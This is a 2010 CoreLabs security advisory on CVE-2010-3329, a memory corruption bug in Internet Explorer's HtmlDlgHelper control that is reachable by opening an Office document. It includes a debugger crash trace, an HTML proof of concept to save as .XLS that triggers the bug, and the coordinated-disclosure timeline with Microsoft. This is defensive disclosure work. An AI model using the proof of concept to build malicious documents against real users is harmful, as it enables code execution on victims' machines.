Core Security Technologies - CoreLabs Advisory
                   http://corelabs.coresecurity.com

  Microsoft Office HtmlDlgHelper class memory corruption


1. *Advisory Information*

Title: Microsoft Office HtmlDlgHelper class memory corruption
Advisory Id: CORE-2010-0517
Advisory URL:
[http://www.coresecurity.com/content/MS-Office-HtmlDlgHelper-memory-corruption]
Date published: 2010-10-12
Date of last update: 2010-10-14
Vendors contacted: Microsoft
Release mode: Coordinated release


2. *Vulnerability Information*

Class: Missing Initialization [CWE-456]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2010-3329
Bugtraq ID: N/A


3. *Vulnerability Description*

Microsoft Windows is prone to a memory corruption vulnerability when
instantiating the 'HtmlDlgHelper Class Object' in a Microsoft Office
Document (ie: .XLS, .DOC). The affected vulnerable module is part of
Internet Explorer ('mshtmled.dll'). This vulnerability could be used by
a remote attacker to execute arbitrary code with the privileges of the
user that opened the malicious file.


4. *Vulnerable packages*

   . IE 6
   . IE 7
   . IE 8
   . MS Office XP
   . MS Office 2003
   . MS Office 2007 and MS Office 2010 (the control is disabled by default)


5. *Non-vulnerable packages*

   . For further information and patches about this issue look at the
Microsoft Security Bulletin Summary for October 2010 [1], patch ms10-071.


6. *Credits*

This vulnerability was discovered by Damian Frizza from Core Security
Technologies.


7. *Technical Description / Proof of Concept Code*

Microsoft Windows is prone to a memory corruption vulnerability when
instantiating the 'HtmlDlgHelper Class Object'
('CLASSID:3050f4e1-98b5-11cf-bb82-00aa00bdce0b') in a Microsoft Office
Document (ie: .XLS, .DOC). The affected vulnerable module is part of
Internet Explorer ('mshtmled.dll'). The vulnerability occurs in
'mshtmled.dll' when the destructor of the 'CHtmlDlgHelper' class is
called and then makes access to uninitialized memory.

The ActiveX control is marked as "Not Safe for Initialization", and
prompts the user with: "ActiveX controls might contain viruses or other
security hazards. Do not enable this content unless you trust the source
of this file". However, in Office 2003 the bug is triggered even if the
user answers "No" to the prompt.

The following code is where the vulnerability occurs, when opening a
.XLS document on Microsoft Office Excel 2003 ('mshtmled.dll'
v8.0.6001.18702):

/-----
mshtmled!ReleaseInterface:
42b919c0 8bff            mov     edi,edi
42b919c2 55              push    ebp
42b919c3 8bec            mov     ebp,esp
42b919c5 8b4508          mov     eax,dword ptr [ebp+8]
ss:0023:0013d104=00310065
42b919c8 85c0            test    eax,eax
42b919ca 7406            je      mshtmled!ReleaseInterface+0x12
(42b919d2) [br=0]
42b919cc 8b08            mov     ecx,dword ptr [eax]  ds:0023:00310065
42b919ce 50              push    eax
42b919cf ff5108          call    dword ptr [ecx+8]
ds:0023:7d02029c=2a2c277a

eax=00310065 ebx=00000000 ecx=7d020294 edx=df0b3d60 esi=001edbdc
edi=00000000
eip=2a2c277a esp=0013d0f4 ebp=0013d0fc iopl=0         nv up ei pl nz na
pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00000206

Stack Trace:
<Unloaded_ion.dll>+0x2a2c2779
mshtmled!ReleaseInterface+0x12
mshtmled!CHtmlDlgHelper::~CHtmlDlgHelper+0x10
mshtmled!ATL::CComAggObject<CHtmlDlgHelper>::`scalar deleting
destructor'+0xd
mshtmled!ATL::CComAggObject<CHtmlDlgHelper>::Release+0x27
VBE6!rtcStrConvVar+0xbd65
VBE6!rtcSetDatabaseLcid+0xa823
EXCEL!Ordinal41+0xd2ad0
EXCEL!Ordinal41+0x14082a
USER32!CallWindowProcW+0x1b
Instruction Address: 0x000000002a2c277a
-----/


The following html code demonstrates the bug on Excel 2002/2003. Save
the file as .XLS and open it on Excel.

/-----
<html xmlns:v="urn:schemas-microsoft-com:vml"
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:x="urn:schemas-microsoft-com:office:excel">

<head>
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
<meta name=ProgId content=Excel.Sheet>
<meta name=Generator content="Microsoft Excel 10">
<!--[if !mso]>
<style>
v\:* {behavior:url(#default#VML);}
o\:* {behavior:url(#default#VML);}
x\:* {behavior:url(#default#VML);}
.shape {behavior:url(#default#VML);}
</style>
<![endif]--><!--[if gte mso 9]><xml>
 <o:DocumentProperties>
  <o:LastAuthor>TEST</o:LastAuthor>
  <o:LastSaved>2010-08-03T05:19:51Z</o:LastSaved>
  <o:Version>10.6858</o:Version>
 </o:DocumentProperties>
 <o:OfficeDocumentSettings>
  <o:DownloadComponents/>
  </o:OfficeDocumentSettings>
</xml><![endif]-->

<!--[if gte mso 9]><xml>
 <x:ExcelWorkbook>
  <x:ExcelWorksheets>
   <x:ExcelWorksheet>
    <x:Name>test</x:Name>
    <x:WorksheetOptions>
     <x:CodeName>Sheet1</x:CodeName>
     <x:Selected/>
     <x:DoNotDisplayGridlines/>
     <x:ProtectContents>False</x:ProtectContents>
     <x:ProtectObjects>False</x:ProtectObjects>
     <x:ProtectScenarios>False</x:ProtectScenarios>
    </x:WorksheetOptions>
   </x:ExcelWorksheet>
  </x:ExcelWorksheets>
  <x:WindowHeight>9345</x:WindowHeight>
  <x:WindowWidth>13260</x:WindowWidth>
  <x:WindowTopX>240</x:WindowTopX>
  <x:WindowTopY>60</x:WindowTopY>
  <x:ProtectStructure>False</x:ProtectStructure>
  <x:ProtectWindows>False</x:ProtectWindows>
 </x:ExcelWorkbook>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <o:shapedefaults v:ext="edit" spidmax="1026"/>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <o:shapelayout v:ext="edit">
  <o:idmap v:ext="edit" data="1"/>
 </o:shapelayout></xml><![endif]-->
</head>

<body link=blue vlink=purple>

<table x:str border=0 cellpadding=0 cellspacing=0 width=64
style='border-collapse:
 collapse;table-layout:fixed;width:48pt'>
 <col width=64 style='width:48pt'>
 <tr height=17 style='height:12.75pt'>
  <td height=17 width=64 style='height:12.75pt;width:48pt' align=left
  valign=top><!--[if gte vml 1]><v:shapetype id="_x0000_t201"
coordsize="21600,21600"
   o:spt="201" path="m,l,21600r21600,l21600,xe">
   <v:stroke joinstyle="miter"/>
   <v:path shadowok="f" o:extrusionok="f" strokeok="f" fillok="f"
    o:connecttype="rect"/>
   <o:lock v:ext="edit" shapetype="t"/>
  </v:shapetype><v:shape id="_x0000_s1025" type="#_x0000_t201"
style='position:absolute;
   margin-left:0;margin-top:0;width:48pt;height:12.75pt;z-index:1'
   strokecolor="windowText [64]" o:insetmode="auto">
   <![if gte mso 9]><o:title=""/>
   <![endif]><x:ClientData ObjectType="Pict">
    <x:SizeWithCells/>
    <x:CF>Pict</x:CF>
    <x:AutoPict/>
   </x:ClientData>
  </v:shape><![endif]--><![if !vml]><span style='mso-ignore:vglayout;
  position:absolute;z-index:1;margin-left:0px;margin-top:0px;width:64px;
  height:17px'><![endif]>

<object classid="CLSID:3050F4E1-98B5-11CF-BB82-00AA00BDCE0B"
id=obj></object>

<![if !vml]></span><![endif]><span
  style='mso-ignore:vglayout2'>
  <table cellpadding=0 cellspacing=0>
   <tr>
    <td height=17 width=64 style='height:12.75pt;width:48pt'></td>
   </tr>
  </table>
  </span></td>
 </tr>
 <![if supportMisalignedColumns]>
 <tr height=0 style='display:none'>
  <td width=64 style='width:48pt'></td>
 </tr>
 <![endif]>
</table>
</body>
</html>

-----/


This exploitable condition was reproduced in the following versions of
'mshtmled.dll':

   . 'mshtmled.dll' v8.0.6001.18702
   . 'mshtmled.dll' v8.0.6001.18000
   . 'mshtmled.dll' v7.0.6000.17023
   . 'mshtmled.dll' v7.0.6000.17080


8. *Report Timeline*

. 2010-05-28:
Initial notification to the vendor. Draft advisory and proof-of-concept
files sent to MSRC. Publication date set for July 13, 2010.

. 2010-06-11:
Core requests from the vendor an update on the status of this case.

. 2010-06-14:
The vendor responds that its engineers are still investigating this
issue; and that they expect to have more information from the
investigation and triage process within the next few days.

. 2010-06-15:
The vendors informs that they have been determined that the ActiveX
control is marked as "Not Safe for Initialization"; and prompts the user
with a dialog that warns the user that they are going to be executing a
potentially malicious code. In consequence, the vendor treats this case
as the same scenario as a user that tries to enable and open an Office
document with a Macro or VBA code contained within.

. 2010-06-15:
Core asks the vendor if the previous mail means that it does not intent
to fix the bug or that it does not recognize it as a security issue. The
reporter's viewpoint is that a dialog prompt is not a fix "per se" and
just a defense in depth mechanism; and that he would prefer to see the
bug fixed rather than relying on mitigations that prevent exploitation.

. 2010-06-15:
Core adds the following information: in Office 2003 even if the user
answers No to the ActiveX dialog, the application ends up crashing.

. 2010-06-16:
Vendor responds that it is currently investigating the new information.

. 2010-06-28:
Vendor informs that it has found that the vulnerable code actually
exists and is owned by the IE team whom is currently investigating the
crash; and that this case is transferred over to them (and to a new case
manager as well).

. 2010-07-02:
Vendor informs Core that the IE team has finished the investigation into
this issue and was able to reproduce the issue reported. During the
investigation it was determined that this is an exploitable crash in
Internet Explorer. Vendor will send Core the list of affected Internet
Explorer versions when available.

. 2010-07-02:
Core acknowledges receipt of the update, and reminds that although the
vulnerable code is owned by the IE team this also affects Office
(including 2010). Core offers to postpone publication of its advisory
from July 13th to August 10th on the basis of a firm commitment to a
release date from the vendor's side. Core informs that it is evaluating
the possibility of using Office killbit recently introduced by MS10-036
as a workaround, but that MS10-036 points to a knowledge base article
[2] that is no longer available.

. 2010-07-07:
Vendor acknowledges previous mail, and states that it will determine
with the product team how this fix could be included in the August
release. Vendor requests an updated version of the advisory, and to
include a vendor statement.

. 2010-07-22:
Core requests an update on the status of the vulnerability report; and
informs that publication of its advisory has been rescheduled to August
10, 2010, despite the fact that Core did not receive any updates. Core
informs that the publication of this advisory is transferred to a new
case manager.

. 2010-08-04:
Core sends an updated version of the advisory and also asks if MSRC can
provide:
   1. The list of affected software versions.
   2. The CVE number assigned to this vulnerability (if it exists).
   3. The steps to reproduce the vulnerability in IE [3].
   4. The link to the knowledge base article about the newly introduced
Office killbit given that Core is investigating using that defense
mechanism as a workaround but MS10-036 points to a knowledge base
article that is no longer available
([http://support.microsoft.com/kb/983632]).

 Core also notifies this advisory is currently scheduled to be published
on August 10, 2010 but the publication can be reviewed if Microsoft
responds with a firm commitment to a release date of fixes, and
technical information about the root cause of this vulnerability.

. 2010-08-04:
MSRC responds that the updated advisory draft was internally forwarded
and they are working on collecting answers to the requested questions.

. 2010-08-05:
MSRC sends the answers to the asked questions:
   1. The affected versions of Internet Explorer are IE6 [4], IE7 and IE8.
   2. MSRC is unable to assign a CVE as it is too early. CVEs are
typically assigned closer to the scheduled release date and MSRC will
receive the block of CVEs from Mitre for the October release of the
Internet Explorer security update.
   3. MSRC notifies there is no attack vector in IE, and they cannot
provide steps to reproduce the vulnerability in IE.
   4. The knowledge base article about the newly introduced Office
killbit was redirected to [http://support.microsoft.com/kb/2252664].

. 2010-08-06:
Core asks MSRC to clarify if the fix for this issue has been scheduled
to be released in October.

. 2010-08-06:
MSRC confirms that the fix for this issue is scheduled for the October
release of IE.

. 2010-08-09:
Core re-schedules the publication of the advisory for October 12 and
notifies that this date should be considered as final, if Microsoft does
not release fixes on that date, the advisory will be released as 'user
release'.

. 2010-08-09:
MSRC confirms that the fix for this issue is scheduled for the October
release of IE.

. 2010-10-01:
MSRC provides a status update about this issue and notifies that it is
slated to be included in the October release of the IE Cumulative Update
and SafeHTML update scheduled for October 12, 2010. MSRC also notifies
that the CVE assigned to this issue is CVE-2010-3329.

. 2010-10-01:
MSRC notifies that they have made a mistake and included an invalid
detail in the last status update. In particular, the issue does not
affect the SafeHTML update scheduled for October but it will be shipping
in the IE Cumulative Update scheduled for October.

. 2010-10-01:
Core acknowledges the MSRC's e-mail and notifies that although the
problem is located in IE-owned code, the problem also affects Office up
to 2010. Core assumes this will be specified in the MSRC bulletin and
asks for confirmation.

. 2010-10-04:
MSRC confirms that the description of the vulnerability calls out that
the vector to the vulnerability is through opening a word document.

. 2010-10-12:
Advisory CORE-2010-0517 is published.


9. *References*

[1] Microsoft security bulletin summary for October 2010 -
[http://www.microsoft.com/technet/security/bulletin/ms10-oct.mspx].
[2] Office killbit [http://support.microsoft.com/kb/983632].
[3] This bug was originally investigated in Microsoft Office by Core,
but MSRC determined [2010-07-02] that this bug is an exploitable crash
in Internet Explorer.
[4] MSRC was not able to reproduce this issue on IE6, however they
notifies the code has been determined to exist in this version and the
fix will be scoped to address this platform as well.


10. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
[http://corelabs.coresecurity.com/].


11. *About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at
[http://www.coresecurity.com].


12. *Disclaimer*

The contents of this advisory are copyright (c) 2010 Core Security
Technologies and (c) 2010 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: [http://creativecommons.org/licenses/by-nc-sa/3.0/us/]


13. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
[http://www.coresecurity.com/files/attachments/core_security_advisories.asc].